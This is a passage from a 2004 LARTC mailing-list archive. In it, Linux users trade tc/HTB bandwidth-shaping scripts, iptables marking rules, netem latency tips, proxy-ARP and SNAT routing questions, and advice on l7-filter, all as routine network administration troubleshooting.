the specified PASV (server) ports (50000:51000) regardless of whether it's
an upload or download.

Test:
- simply kill all downloads and see if the uploads are still affected.
- or you can tag oubound ACK packets and filter them into the faster class.

chris



>>>>Theory is.. You can only shape outbound traffic.
>
>> Inbound is via tcp windowshaping etc..
>>
>> In theory yes, but it is shaping inbound transfers to my server.
>>
>
>>>>>> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 65437 -j MARK
>>>>>> --set-mark 20
>>>>>> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 50000:51000 -j MARK
>>>>>> --set-mark 20
>>>>>> iptables -t mangle -A MYSHAPER-OUT -m mark --mark 0 -j MARK --set-mark
>>>>>> 26
>
>>
>
>>>>Why do you care about destination port?
>>>>AFAIK, it shouldn't affect your wants since you're >not filtering on
>>>>incoming traffic
>
>>
>> I dont care about destination port.  That line was commented.  BUT,
>> incoming transfers are being shaped for some reason.
>>
>
>>>>Is this legal?? 10000mbps?? Wow.. 10000*1E6?
>
>>
>> I just did that to make sure lan traffic was not affected at all.
>>
>>
>> enire script for reference....
>> I am using the following script to limit my outbound traffic. This scipt
>> runs on a box behind my firewall. It limits my outbound passive ftp
>> traffic to 39K perfectly....just like i want. However, i just noticed that
>> it is also limiting uploads coming to my server.
>>
>> Is there something I can change to make it not limit uploads to my server?
>> #!/bin/bash
>> #shaping passive ftp traffic
>>
>> # mark the outbound passive ftp packets on ports 50000-51000
>> iptables -t mangle -D POSTROUTING -o eth0 -j MYSHAPER-OUT 2> /dev/null >
>> /dev/null
>> iptables -t mangle -F MYSHAPER-OUT 2> /dev/null > /dev/null
>> iptables -t mangle -X MYSHAPER-OUT 2> /dev/null > /dev/null
>>
>> iptables -t mangle -N MYSHAPER-OUT
>> iptables -t mangle -I POSTROUTING -o eth0 -j MYSHAPER-OUT
>>
>> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 65437 -j MARK --set-mark
>> 20
>> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 50000:51000 -j MARK
>> --set-mark 20
>> iptables -t mangle -A MYSHAPER-OUT -m mark --mark 0 -j MARK --set-mark 26
>> # clear it
>> tc qdisc del dev eth0 root
>>
>> #add the root qdisk
>> tc qdisc add dev eth0 root handle 1: htb default 26
>>
>> #add main rate limit class
>> tc class add dev eth0 parent 1: classid 1:1 htb rate 10000mbps
>>
>> #add leaf classes
>> tc class add dev eth0 parent 1:1 classid 1:26 htb rate 10000mbps
>> tc class add dev eth0 parent 1:1 classid 1:20 htb rate 39kbps
>>
>> #filter traffic into classes
>> tc filter add dev eth0 parent 1:0 prio 0 protocol ip handle 20 fw flowid
>> 1:20
>> tc filter add dev eth0 parent 1:0 prio 0 protocol ip handle 26 fw flowid
>> 1:26


From Anshuman.Kanwar@citrix.com  Fri Oct  8 23:38:04 2004
From: Anshuman.Kanwar@citrix.com (Anshuman Kanwar)
Date: Fri, 8 Oct 2004 15:38:04 -0700
Subject: [LARTC] Delay packets by 50ms
Message-ID: <2529DFFB52A7F7468172F354A6D3F53E378CC0@cabfranc>

Hi all,

I am trying to solve a tiny problem that is trivial to
solve using dummynet (FreeBSD).=20

I just want to add a delay of 50ms to each outgoing
packet from an interface. This is to simulate a large
pool of multiple modem users so I also need to add b/w
limits etc (which seems to be easy to do).

>From the mailing list I could fine 2 qdiscs that can
simulate latency : "delay" & "netem". Neither of them is
working on my setup though ( Fedora core2 [2.6.5] or RHEL
3.0 update 2 or gentoo [2.6.8] ). Is something special
needed to enable these qdiscs ?

I tried applying the patch
(http://www.uwsg.iu.edu/hypermail/linux/net/0403.2/0019.h
tml) and recompiled the kernel but the tc command returns
"RTNETLINK answers: Invalid argument".

What am I doing wrong ?=20

Thanks much,
-ansh



From shemminger@osdl.org  Fri Oct  8 23:54:46 2004
From: shemminger@osdl.org (Stephen Hemminger)
Date: Fri, 08 Oct 2004 15:54:46 -0700
Subject: [LARTC] Delay packets by 50ms
In-Reply-To: <2529DFFB52A7F7468172F354A6D3F53E378CC0@cabfranc>
References: <2529DFFB52A7F7468172F354A6D3F53E378CC0@cabfranc>
Message-ID: <1097276086.16787.115.camel@localhost.localdomain>

On Fri, 2004-10-08 at 15:38 -0700, Anshuman Kanwar wrote:
> Hi all,
> 
> I am trying to solve a tiny problem that is trivial to
> solve using dummynet (FreeBSD). 
> 
> I just want to add a delay of 50ms to each outgoing
> packet from an interface. This is to simulate a large
> pool of multiple modem users so I also need to add b/w
> limits etc (which seems to be easy to do).
> 
> >From the mailing list I could fine 2 qdiscs that can
> simulate latency : "delay" & "netem". Neither of them is
> working on my setup though ( Fedora core2 [2.6.5] or RHEL
> 3.0 update 2 or gentoo [2.6.8] ). Is something special
> needed to enable these qdiscs ?

delay was my earlier name, netem is the current one.

Netem went in to mainline kernel 2.6.8 (also 2.4.27)



> I tried applying the patch
> (http://www.uwsg.iu.edu/hypermail/linux/net/0403.2/0019.h
> tml) and recompiled the kernel but the tc command returns
> "RTNETLINK answers: Invalid argument".

You probably need to build/run newer version of tc 
see http://developer.osdl.org/dev/iproute2


From huetmann@site38.ping.at  Sat Oct  9 00:30:03 2004
From: huetmann@site38.ping.at (Peter Huetmannsberger)
Date: Sat, 9 Oct 2004 01:30:03 +0200 (CEST)
Subject: [LARTC] Ceiling question
Message-ID: <Pine.LNX.4.44.0410090123220.9929-100000@george.eliot.priv.at>

Hi!

 I have a setup where I want to prefer traffic on one port  (for testing 
purposes I used port 22)

my setup is : 

tc qdisc add dev eth3 root handle 1: htb default 30
tc class add dev eth3 parent 1: classid 1:1 htb rate 96mbit burst 15k
tc class add dev eth3 parent 1: classid 1:7 htb rate 2mbit burst 15k
tc class add dev eth3 parent 1:1 classid 1:10 htb rate 96mbit burst 15k
tc class add dev eth3 parent 1:7 classid 1:20 htb rate 1800kbit ceil 2mbit 
burst 15k
tc class add dev eth3 parent 1:7 classid 1:30 htb rate 200kbit ceil 2mbit 
burst 15k
tc qdisc add dev eth3 parent 1:10 handle 10: sfq perturb 10
tc qdisc add dev eth3 parent 1:20 handle 20: sfq perturb 10
tc qdisc add dev eth3 parent 1:30 handle 30: sfq perturb 10
U32="tc filter add dev eth3 protocol ip parent 1:0 prio 1 u32"
$U32 match ip src 81.223.175.128/26 flowid 1:10
$U32 match ip dst 192.168.5.9 match ip sport 22 0xfff flowid 1:20
$U32 match ip dst 192.168.5.9 match ip dport 22 0xfff flowid 1:20
$U32 match ip dst 192.168.5.10 match ip sport 22 0xfff flowid 1:20
$U32 match ip dst 192.168.5.10 match ip dport 22 0xfff flowid 1:20

What  would like to achieve is that trafic on port 22 has 1800kbit always, 
regardless of traffic on any other port, but if there is no traffic on 
port 22 the rest can claim the whole bandwidth (i.e. 2.3 mbit ). 

However if I set the ceiling to 2mbit on both, they seem to sher the 
bandwidth evenly. If I set the ceiling to 512k on 1:30, I get better 
performance on 1:20.

Do I not understand the concept correctly? I assumes that the rate would 
give me the guaranteed bandwidth for each class, and the ceiling is there 
to make it use what's "left over" from the other classes.

If someone could enlighten me, I would appreciate it.

Thanks, 

.peter


From ronaldo.afonso@cyclades.com.br  Fri Oct  8 21:37:40 2004
From: ronaldo.afonso@cyclades.com.br (Ronaldo Z. Afonso)
Date: Fri, 08 Oct 2004 20:37:40 +0000
Subject: [LARTC] Excess Bandwidth
Message-ID: <4166FA94.2090208@cyclades.com.br>

   Hi,

   I'm trying to configure QoS on my linux in the following manner:
   I have a main link with 64K, so I divided it in 3 classes of 18K, 14K 
and 9K with an excess (not used for classified traffic, just to be 
shared) of 23K. This excess should be distributed proportonally among 
the 3 classes,  that is, the class that has more rate should borrow more 
bandwidth. What is happening is just the opposite, the class that has 
less rate is borrowing more bandwidth. A representation of my 
"hierarchical class layout" is as follow:

                              root - 64K

         A - 18K           B - 14K            C - 9K

   I have read some documentation that says it should work exactly in 
this in way, but it is not happening in my environment. All the tests I 
did show me that the class with less rate is borrow more bandwidth.
   Can anyone help me?

-- 
______________________________
Ronaldo Z. Afonso
Projetista de Software Jr.
Cyclades Brasil
ronaldo.afonso@cyclades.com.br

Phone: 55 11 5033-3361
Fax: 55 11 5033-3388
www.cyclades.com.br
"Everywhere with Linux"


From alexis@tpys.com.ar  Sat Oct  9 02:19:24 2004
From: alexis@tpys.com.ar (Alexis)
Date: Fri, 8 Oct 2004 22:19:24 -0300
Subject: [LARTC] Sending and receiving
Message-ID: <20041009011933.15F65444C@outpost.ds9a.nl>

Hi all.

Here's the situation

Linux box with eth0 connected to LAN, and eth1 connected to internet via
cablemodem.

Connected to the lan are some voip devices, ive configured htb in eth1 to
save some bandwith for the voip devices. Now i have another issue, at some
hours of the days, some servers in the lan downloads data from other servers
in internet and they use all bandwith available.

My question is the following.

Applying some classes to eth0 is a good way to reserve some bandwith for the
traffic that comes from internet to the voip devices?

I mean, is this a good way to manage the "download" traffic?

Thanks and best regards


From cyberdoc@cyberdoc.dk  Sat Oct  9 02:45:29 2004
From: cyberdoc@cyberdoc.dk (Daniel Frederiksen)
Date: Sat, 09 Oct 2004 03:45:29 +0200
Subject: [LARTC] Excess Bandwidth
In-Reply-To: <4166FA94.2090208@cyclades.com.br>
References: <4166FA94.2090208@cyclades.com.br>
Message-ID: <1097286328.20741.7.camel@hermes>

Hej Ronaldo

Remember to prioritize the excess bandwidth. If you are using the HTB
read the bottom section of the manual.:
http://luxik.cdi.cz/~devik/qos/htb/manual/userg.htm#prio

The "prio" parameter will help you with your problem, give the child
classes a priority from 1-3, where 1 is the highest priority and 3 is
the lowest.

On Fri, 2004-10-08 at 22:37, Ronaldo Z. Afonso wrote:
>    Hi,
> 
>    I'm trying to configure QoS on my linux in the following manner:
>    I have a main link with 64K, so I divided it in 3 classes of 18K, 14K 
> and 9K with an excess (not used for classified traffic, just to be 
> shared) of 23K. This excess should be distributed proportonally among 
> the 3 classes,  that is, the class that has more rate should borrow more 
> bandwidth. What is happening is just the opposite, the class that has 
> less rate is borrowing more bandwidth. A representation of my 
> "hierarchical class layout" is as follow:
> 
>                               root - 64K
> 
>          A - 18K           B - 14K            C - 9K
> 
>    I have read some documentation that says it should work exactly in 
> this in way, but it is not happening in my environment. All the tests I 
> did show me that the class with less rate is borrow more bandwidth.
>    Can anyone help me?


From Anshuman.Kanwar@citrix.com  Sat Oct  9 04:40:49 2004
From: Anshuman.Kanwar@citrix.com (Anshuman Kanwar)
Date: Fri, 8 Oct 2004 20:40:49 -0700
Subject: [LARTC] Delay packets by 50ms
Message-ID: <2529DFFB52A7F7468172F354A6D3F53E378CD0@cabfranc>

Hi Stephen,

Getting the latest iproute2 solved my problem.

Thanks!=20

-----Original Message-----
From: Stephen Hemminger [mailto:shemminger@osdl.org]=20
Sent: Friday, October 08, 2004 3:55 PM
To: Anshuman Kanwar
Cc: lartc@mailman.ds9a.nl
Subject: Re: [LARTC] Delay packets by 50ms

On Fri, 2004-10-08 at 15:38 -0700, Anshuman Kanwar wrote:
> Hi all,
>=20
> I am trying to solve a tiny problem that is trivial to
solve using=20
> dummynet (FreeBSD).
>=20
> I just want to add a delay of 50ms to each outgoing
packet from an=20
> interface. This is to simulate a large pool of multiple
modem users so=20
> I also need to add b/w limits etc (which seems to be
easy to do).
>=20
> >From the mailing list I could fine 2 qdiscs that can
> simulate latency : "delay" & "netem". Neither of them
is working on my=20
> setup though ( Fedora core2 [2.6.5] or RHEL 3.0 update
2 or gentoo=20
> [2.6.8] ). Is something special needed to enable these
qdiscs ?

delay was my earlier name, netem is the current one.

Netem went in to mainline kernel 2.6.8 (also 2.4.27)



> I tried applying the patch
>
(http://www.uwsg.iu.edu/hypermail/linux/net/0403.2/0019.h
> tml) and recompiled the kernel but the tc command
returns "RTNETLINK=20
> answers: Invalid argument".

You probably need to build/run newer version of tc see
http://developer.osdl.org/dev/iproute2

From gypsy@iswest.com  Sat Oct  9 05:41:54 2004
From: gypsy@iswest.com (gypsy)
Date: Fri, 08 Oct 2004 21:41:54 -0700
Subject: [LARTC] Does anyone have a working proxyARP setup?
Message-ID: <41676C12.72F7D09D@iswest.com>

If you have a working proxyARP setup, will you please post it?

I've tried to insert a Linux box between the DSL connection and the
switch, but I'm getting nowhere.  Everything works correctly when all
the servers in this network use the switch to get to the DSL.  Any box
directly connected to the DSL also works correctly.

http://www.sjdjweis.com/linux/proxyarp/
makes it sound easy, but none of the machines except the new one can get
out when I set this up.  From any computer except the intended proxyARP
box, 'traceroute -n ANYTHING' stops after the first hop (.96) succeeds;
'ping .97' fails.  I don't know (or care yet) if anything gets in.

(I really have a /29 network, but for consistency I'm showing a /28):
gypsy> ifconfig eth0 x.x.x.96 broadcast x.x.x.111 netmask
255.255.255.240
gypsy> ifconfig eth1 x.x.x.96 broadcast x.x.x.111 netmask
255.255.255.240
gypsy> route add default gw x.x.x.97 metric 1

Weis> # interface definitions
Weis> BAD_IFACE=eth0
Weis> 
Weis> DMZ_IFACE=eth1
Weis> DMZ_ADDR=x.x.x.96/28
Weis> 
Weis> ip route del x.x.x.96/28 dev $BAD_IFACE
Weis> ip route del x.x.x.96/28 dev $DMZ_IFACE
Weis> ip route add x.x.x.97 dev $BAD_IFACE
Weis> ip route add x.x.x.96/28 dev $DMZ_IFACE
Weis> 
Weis> # we need proxy arp for the dmz network
Weis> echo 1 > /proc/sys/net/ipv4/conf/eth0/proxy_arp
Weis> echo 1 > /proc/sys/net/ipv4/conf/eth1/proxy_arp
Weis> 
Weis> # turn on ip forwarding
Weis> echo 1 > /proc/sys/net/ipv4/ip_forward

The kernel is 2.4.26, iproute2 is 2-2.6.8
--
Call me stumped,
gypsy

From mv@inv.cz  Sat Oct  9 09:05:59 2004
From: mv@inv.cz (Martin Volf)
Date: Sat, 09 Oct 2004 10:05:59 +0200
Subject: [LARTC] Does anyone have a working proxyARP setup?
In-Reply-To: <41676C12.72F7D09D@iswest.com>
References: <41676C12.72F7D09D@iswest.com>
Message-ID: <41679BE7.2030708@inv.cz>

gypsy wrote:
...
> gypsy> ifconfig eth0 x.x.x.96 broadcast x.x.x.111 netmask
> 255.255.255.240
> gypsy> ifconfig eth1 x.x.x.96 broadcast x.x.x.111 netmask
> 255.255.255.240
...

I think you can't use x.x.x.96 here, because it is the address of your network 
x.x.x.96/28. Useable ip addresses are .97 - .110. And you can't have the same 
ip address and netmask on two interfaces. Use maybe 'netmask 255.255.255.255' 
on one of them.

As far as the question in the subject is concerned, yes, I have.

--
Martin

From drinklinux@yahoo.com  Sat Oct  9 09:50:57 2004
From: drinklinux@yahoo.com (Drink Linux)
Date: Sat, 9 Oct 2004 01:50:57 -0700 (PDT)
Subject: [LARTC] HTB weird problem ....
In-Reply-To: <4166AB26.8040201@dsl.pipex.com>
Message-ID: <20041009085057.52093.qmail@web50306.mail.yahoo.com>

if i remove the 1 packet ... it would be again exceed
the ceiling ... thanks ill try 

r u referring to this faq in docum??!?!?!
http://www.docum.org/docum.org/faq/cache/40.html

the file linux/include/net/sched/pkt_sched.h

does not have #define PSCHED_CLOCK_SOURCE PSCHED_CPU
 im using 2.4.20-22 kernel,  maybel ill try 2.4.27

oh well i think i just have to check it out on monday
...thanks so much .... :D 




--- Andy Furniss <andy.furniss@dsl.pipex.com> wrote:

> Drink Linux wrote:
> > hello Andy , i think they are right for 
> > 256kbps = 2048kbit ...
> 
> ahh I see.
> 
> I just tried your setup on my eth0 and it works OK.
> Though HTB's stats 
> don't seem too accurate - I used wget/ftp to judge
> rates.
> 
> You may need to patch HTB/use a newer kernel - there
> was a patch posted 
> on this list a while back which may affect you.
> 
> Also you may need to set Hz higher or use psched =
> CPU for timing.
> 
> See www.docum.org .
> 
> > 
> > 
> > i have added a leaf pfifo with a limit of 1 packet
> per
> > second, coz if i have 2-10 it wont work...viola
> !!!
> > the ceiling rate for each class rule is now
> working...
> > my problem is that you can reach the ceiling class
> > only if you have 4-5 files getting through FTP, 
> > 
> > ex: 256kbps Ceil
> > 
> >     1 file ftp download = 80-90 kbps max speed 
> >     4-5 files ftp download = almost 256kbps
> > 
> > 
> > how can i make it work to 256kbps speed for 1 file
> > alone ...? 
> 
> Get rid of the 1 packet pfifo :-)
> 
> Andy.
> 
> 
> 
> 
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO:
> http://lartc.org/
> 



		
_______________________________
Do you Yahoo!?
Declare Yourself - Register online to vote today!
http://vote.yahoo.com

From andy.furniss@dsl.pipex.com  Sat Oct  9 14:04:21 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Sat, 09 Oct 2004 14:04:21 +0100
Subject: [LARTC] HTB weird problem ....
In-Reply-To: <20041009085057.52093.qmail@web50306.mail.yahoo.com>
References: <20041009085057.52093.qmail@web50306.mail.yahoo.com>
Message-ID: <4167E1D5.6090908@dsl.pipex.com>

Drink Linux wrote:
> if i remove the 1 packet ... it would be again exceed
> the ceiling ... thanks ill try 

When you fix HTB you won't need it.

> 
> r u referring to this faq in docum??!?!?!
> http://www.docum.org/docum.org/faq/cache/40.html
> 
> the file linux/include/net/sched/pkt_sched.h

include/net/pkt_sched.h is the one I changed on a 2.4.24.
> 
> does not have #define PSCHED_CLOCK_SOURCE PSCHED_CPU
>  im using 2.4.20-22 kernel,  maybel ill try 2.4.27

2.4.27 should fix things HTB has been patched since 2.4.20.

If you have 8 Mbit wirless your ceil/master rates need to be a bit less 
to allow for overheads.

Andy.


From stef.coene@docum.org  Sat Oct  9 16:25:52 2004
From: stef.coene@docum.org (Stef Coene)
Date: Sat, 9 Oct 2004 17:25:52 +0200
Subject: [LARTC] Sending and receiving
In-Reply-To: <20041009011933.15F65444C@outpost.ds9a.nl>
References: <20041009011933.15F65444C@outpost.ds9a.nl>
Message-ID: <200410091725.52295.stef.coene@docum.org>

On Saturday 09 October 2004 03:19, Alexis wrote:
> Hi all.
>
> Here's the situation
>
> Linux box with eth0 connected to LAN, and eth1 connected to internet via
> cablemodem.
>
> Connected to the lan are some voip devices, ive configured htb in eth1 to
> save some bandwith for the voip devices. Now i have another issue, at some
> hours of the days, some servers in the lan downloads data from other
> servers in internet and they use all bandwith available.
>
> My question is the following.
>
> Applying some classes to eth0 is a good way to reserve some bandwith for
> the traffic that comes from internet to the voip devices?
Yes.

> I mean, is this a good way to manage the "download" traffic?
Yes.

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From gypsy@iswest.com  Sat Oct  9 18:46:12 2004
From: gypsy@iswest.com (gypsy)
Date: Sat, 09 Oct 2004 10:46:12 -0700
Subject: [LARTC] Does anyone have a working proxyARP setup?
References: <41676C12.72F7D09D@iswest.com> <41679BE7.2030708@inv.cz>
Message-ID: <416823E4.A8CCD2D0@iswest.com>

Martin Volf wrote:
> 
> gypsy wrote:
> ...
> > gypsy> ifconfig eth0 x.x.x.96 broadcast x.x.x.111 netmask
> > 255.255.255.240
> > gypsy> ifconfig eth1 x.x.x.96 broadcast x.x.x.111 netmask
> > 255.255.255.240
> 
> I think you can't use x.x.x.96 here, because it is the address of your network
> x.x.x.96/28. Useable ip addresses are .97 - .110. And you can't have the same
> ip address and netmask on two interfaces. Use maybe 'netmask 255.255.255.255'
> on one of them.
> --
> Martin

I have tried all IPs in the range, but I have not tried different
netmasks.  Thanks for that tip.

Could you please post the output of 'route -n', 'ip route' and 'ip neigh
show' as well as any 'ip route [add|del|*]' commands you run?

I really believe that either the kernel thinks there are spoofed IPs or
- most likely - that my routing table is junk.

Here is a quote from http://www.sjdjweis.com/linux/proxyarp/ which is
why I set both the same:

> After you have the above steps done, you will need to configure your network cards. This step should be done off of the
> network since you may end up with some conflicting addresses. Give two NIC's identical IP addresses, subnet masks, and
> gateways. The IP you choose needs to be an unused address on your network. In my case, I used x.x.x.98, since my router is
> at x.x.x.97. You could actually use about any address on the wire that isn't in use. 

gypsy

From stef.coene@docum.org  Sat Oct  9 18:57:24 2004
From: stef.coene@docum.org (Stef Coene)
Date: Sat, 9 Oct 2004 19:57:24 +0200
Subject: [LARTC] Ceiling question
In-Reply-To: <Pine.LNX.4.44.0410090123220.9929-100000@george.eliot.priv.at>
References: <Pine.LNX.4.44.0410090123220.9929-100000@george.eliot.priv.at>
Message-ID: <200410091957.24957.stef.coene@docum.org>

On Saturday 09 October 2004 01:30, Peter Huetmannsberger wrote:
> Hi!
>
>  I have a setup where I want to prefer traffic on one port  (for testing
> purposes I used port 22)
>
> my setup is :
>
> tc qdisc add dev eth3 root handle 1: htb default 30
> tc class add dev eth3 parent 1: classid 1:1 htb rate 96mbit burst 15k
> tc class add dev eth3 parent 1: classid 1:7 htb rate 2mbit burst 15k
> tc class add dev eth3 parent 1:1 classid 1:10 htb rate 96mbit burst 15k
> tc class add dev eth3 parent 1:7 classid 1:20 htb rate 1800kbit ceil 2mbit
> burst 15k
> tc class add dev eth3 parent 1:7 classid 1:30 htb rate 200kbit ceil 2mbit
> burst 15k
The parent of class 1:7 should be 1:1.

> tc qdisc add dev eth3 parent 1:10 handle 10: sfq perturb 10
> tc qdisc add dev eth3 parent 1:20 handle 20: sfq perturb 10
> tc qdisc add dev eth3 parent 1:30 handle 30: sfq perturb 10
> U32=3D"tc filter add dev eth3 protocol ip parent 1:0 prio 1 u32"
> $U32 match ip src 81.223.175.128/26 flowid 1:10
> $U32 match ip dst 192.168.5.9 match ip sport 22 0xfff flowid 1:20
> $U32 match ip dst 192.168.5.9 match ip dport 22 0xfff flowid 1:20
> $U32 match ip dst 192.168.5.10 match ip sport 22 0xfff flowid 1:20
> $U32 match ip dst 192.168.5.10 match ip dport 22 0xfff flowid 1:20
>
> What  would like to achieve is that trafic on port 22 has 1800kbit always,
> regardless of traffic on any other port, but if there is no traffic on
> port 22 the rest can claim the whole bandwidth (i.e. 2.3 mbit ).
>
> However if I set the ceiling to 2mbit on both, they seem to sher the
> bandwidth evenly.=20
Mhh, it should work.

> If I set the ceiling to 512k on 1:30, I get better=20
> performance on 1:20.
Mhh,=20
>
> Do I not understand the concept correctly? I assumes that the rate would
> give me the guaranteed bandwidth for each class,=20
Indeed.

> and the ceiling is there=20
> to make it use what's "left over" from the other classes.
The ceil is the maximum the class can send.

I did some tests, maybe they can help you to understand htb:
http://www.docum.org/docum.org/tests/

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From cnicules@4email.net  Sun Oct 10 02:42:37 2004
From: cnicules@4email.net (Ciprian Niculescu)
Date: Sun, 10 Oct 2004 03:42:37 +0200
Subject: [LARTC] weird problem with ip+snat+tun0
Message-ID: <4168938D.5050708@4email.net>

i have a box with 2 real interfaces and one more virtual
eth0 - to the internet (193....
eth1 - to the local net (192.168..)
tun0 - to another ISP

the routing is: all the free/local classes i send them directly on eth0, 
the rest of the internet i send throw tun0
the admin from tun0 wants me to snat all the packets with my end of the 
ip-tun0-interface
and i snat all the trafic that go to local/free nets

the problem is that on the tun0 i see packets with source adr my eth0 
and dest somewhere in the internet, and are only acks (i also see nated 
trafic), why????

ill start with some confs and at the end some descoveryes:

so a "ip rule" looks like:

0:      from all lookup local
32516:  from 192.168.40.0/24 lookup metro
32517:  from 192.168.40.254 lookup tunel
32518:  from 192.168.40.253 lookup tunel
..........
32765:  from 192.168.40.2 lookup tunel
32766:  from all lookup main
32767:  from all lookup default


an ip route list table metro have entres like:
84...0/17 via 193. dev eth0

an ip route list table tunel its only a default
default via 10.0.1.1 dev tun0

an the main have the directed connected nets and a def throw eth0

the iptables looks:

filter - empty
mangle - mark trafic for the tc part
nat - only
Chain POSTROUTING
   481 52825 SNAT all -- * tun0 192.168.40.0/24 0.0.0.0/0 to:10.0.1.2
   0     0 SNAT all -- * eth0 192.168.40.100 0.0.0.0/0 to:IP_IF_ETH0
........................


a tcpdump on tun0 gets
tcpdump -i tun0 -n | grep -v 10.0.1.2
IP_IF_ETH0.8181 > 24.129.71.219.42694: ack 2449728106 win 33870 (DF)
IP_IF_ETH0.8181 > 24.129.71.219.42694: ack 1 win 33870 (DF)
IP_IF_ETH0.8181 > 81.208.36.95.9195: . ack 272319646 win 65225 (DF)


so i begin to put accounting/logging rules in iptables with -s 
IP_IF_ETH0, i did in nat POSTROUTING, in filter OUTPUT,INPUT,FORWARD, 
and i got on OUTPUT

Oct 10 04:10:39 kernel: IN= OUT=eth0 SRC=IP_IF_ETH0 DST=83.175.129.103 
LEN=40 TOS=0x00 PREC=0x00 TTL=64 ID=0 DF PROTO=TCP SPT=8181 DPT=4894 
WINDOW=0 RES=0x00 ACK RST URGP=0

so its a localgenerated packet that is marked to get out on eth0, but he 
gets on tun0. I presumes (pls confirm) that the label of the interface 
is put by the output_routing, and when he gets to the OUTPUT_conntrack 
its marked to get out on tun0 but dont modify the label, so he dont 
match my rule of snat -o tun0

how can i solve the problem, i dont see how, or its the config bad, or a 
bug :-)))

C

From tbs09799@students.fct.unl.pt  Sun Oct 10 11:40:15 2004
From: tbs09799@students.fct.unl.pt (=?ISO-8859-1?Q?Tiago_Bruno_Esp=EDrito_Santo_Silva?=)
Date: Sun, 10 Oct 2004 11:40:15 +0100
Subject: [LARTC] Use l7-filter in/and TCNG.
Message-ID: <4169118F.5040400@students.fct.unl.pt>

Hello every one!

I'm making a project to a discipline in the university and the project 
is make a Linux router that grants QoS to Multimedia connections (the 
prof. say we can use Open Source Soft. :) or reinvent the wheel). I have 
been googeling and googeling and i found the l7-filter in source forge 
and the spectacular simple language that is TCNG. Well the problem is 
how can i mark packets with netfilter and l7-filter and after that make 
my HTBs with TCNG. I have read the how to from TCNG (my English is not 
at 100%) and i see the external program declaration but i think thats 
not it that i want! In the l7-filter project they talk about TC but TCNG 
it much more simpler!
Can some one help me? (if there are any post in this mailing list about 
this matter, please give me the link i couldn't find it :( )

Thanks in advance

Tiago.


From tbs09799@students.fct.unl.pt  Sun Oct 10 16:13:56 2004
From: tbs09799@students.fct.unl.pt (=?windows-1252?Q?Tiago_Bruno_Esp=EDrito_Santo_Silva?=)
Date: Sun, 10 Oct 2004 16:13:56 +0100
Subject: [LARTC] Use l7-filter in/and TCNG.
In-Reply-To: <200410101500.i9AF05fX010541@students.fct.unl.pt>
References: <200410101500.i9AF05fX010541@students.fct.unl.pt>
Message-ID: <416951B4.8050105@students.fct.unl.pt>

Thanks Alexis!

So you are saying to me that it's better use TC instead of TCNG, i'll 
try your idea thanks again!

Alexis wrote:

>First you need to mark the packet, mark is on the mangle table.
>L7 is a match condition, so, in order to mark the packets this could be an
>example
>
>Suppose eth0 as lan int and eth1 as wan and the linux box forwarding between
>those interfaces
>
>The example to mark a packet, lets say with a pattern called bla1
>
>iptables -t mangle -A POSTROUTING -m layer7 --l7proto bla1 -j MARK
>--set-mark 55
>
>
>Now, you’ve marked all packets with the pattern defined as bla1 in
>/etc/protocols
>
>So, you must classify those packets.
>
>First create the qdisc
>
>tc disc add dev eth1 root handle 1: htb default 99
>
>Now you must create the root htb class
>tc class add dev eth1 parent 1: classid 1:1 htb rate 100kbps ceil 100kbps 
>
>Now the class for your marked traffic with 90kbps of bw
>
>tc class add dev eth1 parent 1:1 classid 1:10 htb rate 90kbps ceil 90kbps
>
>Now the default class for other non marked traffic
>
>tc class add dev eth1 parent 1:1 classid 1:99 htb rate 10kbps ceil 10kbps
>
>
>Now you must apply the filters to assing traffic to the classes
>
>tc filter add dev eth1 protocol ip parent 1: prio 0 handle 55 fw flowid 1:10
>
>
>And now, not mandatory but a good idea, add some discipline to the htb
>classes (defaults are pfifo, but I prefer sfq)
>
>tc qdisc add dev eth1 parent 1:10 handle 10: sfq perturb 10
>tc qdisc add dev eth1 parent 1:99 handle 10: sfq perturb 10
>
>And that’s it. Now try to generate some traffic and use tc -s -d class show
>dev eth1 and check for the results.
>
>This example is very basic but I think it can help.
>
>
>Regards
>
>
>
>
>
>
>-----Mensaje original-----
>De: lartc-admin@mailman.ds9a.nl [mailto:lartc-admin@mailman.ds9a.nl] En
>nombre de Tiago Bruno Espírito Santo Silva
>Enviado el: Domingo, 10 de Octubre de 2004 7:40
>Para: lartc@mailman.ds9a.nl
>Asunto: [LARTC] Use l7-filter in/and TCNG.
>
>Hello every one!
>
>I'm making a project to a discipline in the university and the project is
>make a Linux router that grants QoS to Multimedia connections (the prof. say
>we can use Open Source Soft. :) or reinvent the wheel). I have been
>googeling and googeling and i found the l7-filter in source forge and the
>spectacular simple language that is TCNG. Well the problem is how can i mark
>packets with netfilter and l7-filter and after that make my HTBs with TCNG.
>I have read the how to from TCNG (my English is not at 100%) and i see the
>external program declaration but i think thats not it that i want! In the
>l7-filter project they talk about TC but TCNG it much more simpler!
>Can some one help me? (if there are any post in this mailing list about this
>matter, please give me the link i couldn't find it :( )
>
>Thanks in advance
>
>Tiago.
>
>_______________________________________________
>LARTC mailing list / LARTC@mailman.ds9a.nl
>http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>
>
>  
>



From tbs09799@students.fct.unl.pt  Sun Oct 10 19:46:51 2004
From: tbs09799@students.fct.unl.pt (=?windows-1252?Q?Tiago_Bruno_Esp=EDrito_Santo_Silva?=)
Date: Sun, 10 Oct 2004 19:46:51 +0100
Subject: [LARTC] Use l7-filter in/and TCNG.
In-Reply-To: <200410101725.i9AHPYfX013330@students.fct.unl.pt>
References: <200410101725.i9AHPYfX013330@students.fct.unl.pt>
Message-ID: <4169839B.3030901@students.fct.unl.pt>

OK! But you are right what i want from TCNG (htbs) can be make with TC!
And seems easy, tomorrow i'll try what you said. Thanks again.

Alexis wrote:

>For sure im not saying this as a formula. I have like a policy that is
>"don’t use it until you _really_ need it", as far I can understand, in your
>case you can handle the issue with tc.
>
>Regards and good luck
>
>
>
>-----Mensaje original-----
